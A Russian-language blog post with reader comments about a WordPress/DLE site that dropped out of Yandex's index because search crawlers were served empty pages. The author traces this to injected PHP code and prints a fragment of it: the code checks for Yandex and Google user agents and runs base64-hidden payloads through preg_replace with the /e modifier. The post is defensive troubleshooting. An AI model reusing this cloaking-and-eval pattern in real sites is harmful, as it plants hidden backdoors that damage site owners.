Яндексу отдаётся пустая страница Content-Length: 0

Которую неделю собираюсь накалякать несколько постов, посвящённых взломам, заливанием всякого дерьма на родные сердцу ресурсы. Данная проблема касается движков wordpress и DLE, т.е. самых популярных CMS.

В данном случаи случилось следующее — захожу в панельку вебмастера и вижу следующее:

Причина выпадения большого кол-ва страниц написана на скрине — документ имеет размер 0 байт. Ясное дело сразу идём проверять сайт и видим, что все страницы на месте, контент вполне полноценный. Идём в поиск и ищем у кого была такая проблема и с чем она может быть связана, попутно сразу исключаем вариант бородатого .htaccess, ибо подобные проблемы могут расти оттуда. Что меня удивило, по запросу «Главная страница сайта исключена из индекса:Документ имеет размер 0 байт.» я нашёл минимум инфы, поэтому собственно и пишу этот пост, дабы следующие соискатели получили хоть какую то инфу.

Изучая полученную через поиск инфу, можно было сделать 2 вывода: либо это проблемы с сервером, либо в файлы движка кто то насрал. Проблемы с сервером всерьёз не рассматривались, т.к. десяток сайтов на том же акке работал нормально, поэтому выкачал сайт по фтп и через тотал коммандер начал искать совпадение по словам «yandex», «google», «base64» и т.д. Путём умозаключений было решено поискать всё связанное с «HTTP_USER_AGENT» таким образом (для тех кто не бумбум):

В результате был найден код (показываю только кусок), который и доставлял столько неприятностей:

if ( strstr($_SERVER[‘HTTP_USER_AGENT’], str_replace(‘/’,»,’/Y/a/n/d/e/x’)) or strstr($_SERVER[‘HTTP_USER_AGENT’], str_replace

(‘/’,»,’/G/o/o/g/l/e’))){
@preg_replace(«#(\d+)#e», wires($system_hash), «31337»);
@preg_replace(«#(\d+)#e», wires($code_global_more), «863345»);

По старой — доброй традиции, лучшая часть кода была в base64 шифрована.

Пожалуй и всё, что тут ещё сказать. Если сталкиваетесь с проблемой выпадение страниц по причине «вес страницы 0 байт», то смело рассмотрите этот вариант. Кстати не стоит забывать, что у яндекса есть инструмент для проверки ответа сервера:

И если вы вводите урл сайта, а в ответ видите ответ сервера 200 ОК, а вес страницы Content-Length: 0, это значит что яндекс видит что данный урл существует, но не видит контент страницы, т.к. ему отдаётся пустой лист.

4 комментария

  1. Сергей:

    День добрый! У меня по этой причине выпала из Яндекса главная страница сайта (с остальными все в порядке). Не подскажете, где искать причину? Хостер заявляет, что у него все в порядке, на сайте также никаких работ давно не проводил, следов взлома не нашел…

    • gastarbols:

      Тоже мучаюсь. Вышеописанный способ сработал на одном сайте, ибо это и было причиной проблемы. Но на другом сайте нет ничего похожего, сервер также в порядке. Движок полностью снёс и поставил заново, БД перелил, шаблон руками перебрал, видимо что-то всё равно упустил.

  2. gastarbols:

    Прислали:
    «Последний раз проблема с возвратом сервером пустого документа наблюдалась 13.02.13. Сейчас она уже не возникает, поэтому по мере обхода Вашего сайта роботом ранее исключённые страницы будут проиндексированы и с обновлениями поисковых баз появятся в поиске. Вы можете помочь роботу сделать это быстрее, воспользовавшись нашими рекомендациями, изложенными на странице http://help.yandex.ru/webmaster/?id=995325 .
    Ускорить индексирование наиболее важных страниц можно, добавляя их через форму «Сообщить о новом сайте» ( http://webmaster.yandex.ru/addurl.xml ). В этом случае они должны будут проиндексироваться и появиться в поиске в течение двух недель.»

    По факту — страницы выпадывали долгое время, даже после принятия мер по удалению вредоносного кода, сейчас от 15к+ индекса осталось 300 страниц. Отпишу если всё вернётся.

    • Сергей:

      У меня проблема решилась сама собой. Правда, два раза писал в Яндекс, однако, в ответ ничего не получил. Тем не менее, сегодня главная страница вернулась в индекс, а в вебмастере сообщение об ошибке исчезло. Что это было — так и не понял. Надеюсь, у вас тоже все вернется в норму.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *